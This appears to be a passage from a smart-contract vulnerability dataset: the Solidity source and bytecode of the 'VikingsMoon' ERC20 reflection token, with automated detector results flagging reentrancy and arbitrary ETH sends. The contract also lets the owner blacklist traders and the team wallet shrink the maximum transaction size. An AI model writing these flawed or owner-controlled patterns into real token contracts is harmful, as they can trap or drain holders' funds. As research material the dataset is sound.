601f820116820180604052508101906104909190611875565b6000610a5c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611147565b9392505050565b6001600160a01b038316610ac55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045f565b6001600160a01b038216610b265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610beb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045f565b6001600160a01b038216610c4d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045f565b60008111610caf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045f565b6001600160a01b03831660009081526006602052604090205460ff16158015610cf157506001600160a01b03821660009081526006602052604090205460ff16155b610cfa57600080fd5b6007600a556005600b556000546001600160a01b03848116911614801590610d3057506000546001600160a01b03838116911614155b15610ecc57600e546001600160a01b038481169116148015610d605750600d546001600160a01b03838116911614155b8015610d8557506001600160a01b03821660009081526005602052604090205460ff16155b8015610d9a5750600e54600160b81b900460ff165b15610dd457600f54811115610dae57600080fd5b610dba42610708611892565b6001600160a01b0383166000908152600760205260409020555b600d546001600160a01b03848116911614801590610e0b57506001600160a01b03831660009081526005602052604090205460ff16155b15610e5557600e546001600160a01b0390811690831603610e31576007600a556005600b555b6001600160a01b0383166000908152600760205260409020544211610e5557600080fd5b6000610e6030610493565b600e54909150600160a81b900460ff16158015610e8b5750600e546001600160a01b03858116911614155b8015610ea05750600e54600160b01b900460ff165b15610eca57610eae81610fcd565b476706f05b59d3b20000811115610ec857610ec847610f16565b505b505b610ed7838383611175565b505050565b60008184841115610f005760405162461bcd60e51b815260040161045f919061156d565b506000610f0d84866118aa565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561065c573d6000803e3d6000fd5b6000600854821115610fb75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045f565b6000610fc1611180565b9050610a5c8382610a1a565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611015576110156117e5565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561106e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611092919061182a565b816001815181106110a5576110a56117e5565b6001600160a01b039283166020918202929092010152600d546110cb9130911684610a63565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111049085906000908690309042906004016118c1565b600060405180830381600087803b15801561111e57600080fd5b505af1158015611132573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b600081836111685760405162461bcd60e51b815260040161045f919061156d565b506000610f0d8486611932565b610ed78383836111a3565b600080600061118d61129a565b909250905061119c8282610a1a565b9250505090565b6000806000806000806111b5876112da565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111e79087611337565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112169086611379565b6001600160a01b038916600090815260026020526040902055611238816113d8565b6112428483611422565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128791815260200190565b60405180910390a3505050505050505050565b60085460009081906702c68af0bb1400006112b58282610a1a565b8210156112d1575050600854926702c68af0bb14000092509050565b90939092509050565b60008060008060008060008060006112f78a600a54600b54611446565b9250925092506000611307611180565b9050600080600061131a8e87878761149b565b919e509c509a509598509396509194505050505091939550919395565b6000610a5c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610edc565b6000806113868385611892565b905083811015610a5c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045f565b60006113e2611180565b905060006113f083836114eb565b3060009081526002602052604090205490915061140d9082611379565b30600090815260026020526040902055505050565b60085461142f9083611337565b60085560095461143f9082611379565b6009555050565b6000808080611460606461145a89896114eb565b90610a1a565b90506000611473606461145a8a896114eb565b9050600061148b826114858b86611337565b90611337565b9992985090965090945050505050565b60008080806114aa88866114eb565b905060006114b888876114eb565b905060006114c688886114eb565b905060006114d8826114858686611337565b939b939a50919850919650505050505050565b6000826000036114fd575060006103c6565b60006115098385611954565b9050826115168583611932565b14610a5c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045f565b600060208083528351808285015260005b8181101561159a5785810183015185820160400152820161157e565b818111156115ac576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461049057600080fd5b80356115e2816115c2565b919050565b600080604083850312156115fa57600080fd5b8235611605816115c2565b946020939093013593505050565b60008060006060848603121561162857600080fd5b8335611633816115c2565b92506020840135611643816115c2565b929592945050506040919091013590565b60006020828403121561166657600080fd5b8135610a5c816115c2565b801515811461049057600080fd5b60006020828403121561169157600080fd5b8135610a5c81611671565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156116c557600080fd5b823567ffffffffffffffff808211156116dd57600080fd5b818501915085601f8301126116f157600080fd5b8135818111156117035761170361169c565b8060051b604051601f19603f830116810181811085821117156117285761172861169c565b60405291825284820192508381018501918883111561174657600080fd5b938501935b8285101561176b5761175c856115d7565b8452938501939285019261174b565b98975050505050505050565b6000806040838503121561178a57600080fd5b8235611795816115c2565b915060208301356117a5816115c2565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611823576118236117fb565b5060010190565b60006020828403121561183c57600080fd5b8151610a5c816115c2565b60008060006060848603121561185c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561188757600080fd5b8151610a5c81611671565b600082198211156118a5576118a56117fb565b500190565b6000828210156118bc576118bc6117fb565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119115784516001600160a01b0316835293830193918301916001016118ec565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261194f57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561196e5761196e6117fb565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203463bca8f31fc4de2106f1e8bcb4f290d49f50ce5bd9ade2bea0885e3740ca4c64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,530
0x8d7287477c03e9ac111601a2af42dcb51ee6275d
/* Vikings Moon https://t.me/VikingsMoon */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract VikingsMoon is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "VikingsMoon"; string private constant _symbol = "VikingsMoon"; uint8 private constant _decimals = 9; //RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _redisfee = 2; //Bots mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _redisfee == 0) return; _taxFee = 0; _redisfee = 0; } function restoreAllFee() private { _taxFee = 5; _redisfee = 2; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (120 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function maxtx(uint256 maxTxpc) external { require(_msgSender() == _teamAddress); require(maxTxpc > 0); _maxTxAmount = _tTotal.mul(maxTxpc).div(10**4); emit MaxTxAmountUpdated(_maxTxAmount); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _redisfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610296578063b515566a146102b6578063c3c8cd80146102d6578063c9567bf9146102eb578063dd62ed3e1461030057600080fd5b806370a0823114610239578063715018a6146102595780638da5cb5b1461026e57806395d89b411461010e57600080fd5b80632634e5e8116100d15780632634e5e8146101c6578063313ce567146101e85780635932ead1146102045780636fc3eaec1461022457600080fd5b806306fdde031461010e578063095ea7b31461015157806318160ddd1461018157806323b872dd146101a657600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082018252600b81526a2b34b5b4b733b9a6b7b7b760a91b6020820152905161014891906118dd565b60405180910390f35b34801561015d57600080fd5b5061017161016c366004611764565b610346565b6040519015158152602001610148565b34801561018d57600080fd5b50670de0b6b3a76400005b604051908152602001610148565b3480156101b257600080fd5b506101716101c1366004611723565b61035d565b3480156101d257600080fd5b506101e66101e1366004611896565b6103c6565b005b3480156101f457600080fd5b5060405160098152602001610148565b34801561021057600080fd5b506101e661021f36600461185c565b61044c565b34801561023057600080fd5b506101e661049d565b34801561024557600080fd5b506101986102543660046116b0565b6104ca565b34801561026557600080fd5b506101e66104ec565b34801561027a57600080fd5b506000546040516001600160a01b039091168152602001610148565b3480156102a257600080fd5b506101716102b1366004611764565b610560565b3480156102c257600080fd5b506101e66102d1366004611790565b61056d565b3480156102e257600080fd5b506101e6610603565b3480156102f757600080fd5b506101e6610639565b34801561030c57600080fd5b5061019861031b3660046116ea565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103533384846109fb565b5060015b92915050565b600061036a848484610b1f565b6103bc84336103b785604051806060016040528060288152602001611ac9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f31565b6109fb565b5060019392505050565b600c546001600160a01b0316336001600160a01b0316146103e657600080fd5b600081116103f357600080fd5b61041161271061040b670de0b6b3a764000084610f6b565b90610ff1565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b0316331461047f5760405162461bcd60e51b815260040161047690611932565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104bd57600080fd5b476104c781611033565b50565b6001600160a01b038116600090815260026020526040812054610357906110b8565b6000546001600160a01b031633146105165760405162461bcd60e51b815260040161047690611932565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610353338484610b1f565b6000546001600160a01b031633146105975760405162461bcd60e51b815260040161047690611932565b60005b81518110156105ff576001600a60008484815181106105bb576105bb611a79565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f781611a48565b91505061059a565b5050565b600c546001600160a01b0316336001600160a01b03161461062357600080fd5b600061062e306104ca565b90506104c781611135565b6000546001600160a01b031633146106635760405162461bcd60e51b815260040161047690611932565b600f54600160a01b900460ff16156106bd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610476565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f93082670de0b6b3a76400006109fb565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073257600080fd5b505afa158015610746573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076a91906116cd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b257600080fd5b505afa1580156107c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ea91906116cd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083257600080fd5b505af1158015610846573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086a91906116cd565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061089a816104ca565b6000806108af6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091257600080fd5b505af1158015610926573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094b91906118af565b5050600f805467016345785d8a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c357600080fd5b505af11580156109d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff9190611879565b6001600160a01b038316610a5d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610476565b6001600160a01b038216610abe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610476565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b835760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610476565b6001600160a01b038216610be55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610476565b60008111610c475760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610476565b6000546001600160a01b03848116911614801590610c7357506000546001600160a01b03838116911614155b15610ed457600f54600160b81b900460ff1615610d5a576001600160a01b0383163014801590610cac57506001600160a01b0382163014155b8015610cc65750600e546001600160a01b03848116911614155b8015610ce05750600e546001600160a01b03838116911614155b15610d5a57600e546001600160a01b0316336001600160a01b03161480610d1a5750600f546001600160a01b0316336001600160a01b0316145b610d5a5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610476565b601054811115610d6957600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610dab57506001600160a01b0382166000908152600a602052604090205460ff16155b610db457600080fd5b600f546001600160a01b038481169116148015610ddf5750600e546001600160a01b03838116911614155b8015610e0457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e195750600f54600160b81b900460ff165b15610e67576001600160a01b0382166000908152600b60205260409020544211610e4257600080fd5b610e4d4260786119d8565b6001600160a01b0383166000908152600b60205260409020555b6000610e72306104ca565b600f54909150600160a81b900460ff16158015610e9d5750600f546001600160a01b03858116911614155b8015610eb25750600f54600160b01b900460ff165b15610ed257610ec081611135565b478015610ed057610ed047611033565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f1657506001600160a01b03831660009081526005602052604090205460ff165b15610f1f575060005b610f2b848484846112be565b50505050565b60008184841115610f555760405162461bcd60e51b815260040161047691906118dd565b506000610f628486611a31565b95945050505050565b600082610f7a57506000610357565b6000610f868385611a12565b905082610f9385836119f0565b14610fea5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610476565b9392505050565b6000610fea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112ea565b600c546001600160a01b03166108fc61104d836002610ff1565b6040518115909202916000818181858888f19350505050158015611075573d6000803e3d6000fd5b50600d546001600160a01b03166108fc611090836002610ff1565b6040518115909202916000818181858888f193505050501580156105ff573d6000803e3d6000fd5b600060065482111561111f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610476565b6000611129611318565b9050610fea8382610ff1565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061117d5761117d611a79565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111d157600080fd5b505afa1580156111e5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120991906116cd565b8160018151811061121c5761121c611a79565b6001600160a01b039283166020918202929092010152600e5461124291309116846109fb565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061127b908590600090869030904290600401611967565b600060405180830381600087803b15801561129557600080fd5b505af11580156112a9573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b806112cb576112cb61133b565b6112d684848461135e565b80610f2b57610f2b60056008556002600955565b6000818361130b5760405162461bcd60e51b815260040161047691906118dd565b506000610f6284866119f0565b6000806000611325611455565b90925090506113348282610ff1565b9250505090565b60085415801561134b5750600954155b1561135257565b60006008819055600955565b60008060008060008061137087611495565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113a290876114f2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113d19086611534565b6001600160a01b0389166000908152600260205260409020556113f381611593565b6113fd84836115dd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161144291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006114708282610ff1565b82101561148c57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114b28a600854600954611601565b92509250925060006114c2611318565b905060008060006114d58e878787611650565b919e509c509a509598509396509194505050505091939550919395565b6000610fea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f31565b60008061154183856119d8565b905083811015610fea5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610476565b600061159d611318565b905060006115ab8383610f6b565b306000908152600260205260409020549091506115c89082611534565b30600090815260026020526040902055505050565b6006546115ea90836114f2565b6006556007546115fa9082611534565b6007555050565b6000808080611615606461040b8989610f6b565b90506000611628606461040b8a89610f6b565b905060006116408261163a8b866114f2565b906114f2565b9992985090965090945050505050565b600080808061165f8886610f6b565b9050600061166d8887610f6b565b9050600061167b8888610f6b565b9050600061168d8261163a86866114f2565b939b939a50919850919650505050505050565b80356116ab81611aa5565b919050565b6000602082840312156116c257600080fd5b8135610fea81611aa5565b6000602082840312156116df57600080fd5b8151610fea81611aa5565b600080604083850312156116fd57600080fd5b823561170881611aa5565b9150602083013561171881611aa5565b809150509250929050565b60008060006060848603121561173857600080fd5b833561174381611aa5565b9250602084013561175381611aa5565b929592945050506040919091013590565b6000806040838503121561177757600080fd5b823561178281611aa5565b946020939093013593505050565b600060208083850312156117a357600080fd5b823567ffffffffffffffff808211156117bb57600080fd5b818501915085601f8301126117cf57600080fd5b8135818111156117e1576117e1611a8f565b8060051b604051601f19603f8301168101818110858211171561180657611806611a8f565b604052828152858101935084860182860187018a101561182557600080fd5b600095505b8386101561184f5761183b816116a0565b85526001959095019493860193860161182a565b5098975050505050505050565b60006020828403121561186e57600080fd5b8135610fea81611aba565b60006020828403121561188b57600080fd5b8151610fea81611aba565b6000602082840312156118a857600080fd5b5035919050565b6000806000606084860312156118c457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561190a578581018301518582016040015282016118ee565b8181111561191c576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b75784516001600160a01b031683529383019391830191600101611992565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119eb576119eb611a63565b500190565b600082611a0d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a2c57611a2c611a63565b500290565b600082821015611a4357611a43611a63565b500390565b6000600019821415611a5c57611a5c611a63565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c757600080fd5b80151581146104c757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209782d02a9f45319a409ef6967103020a926e3ebef697ba9199ccf3bead16a30a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,531
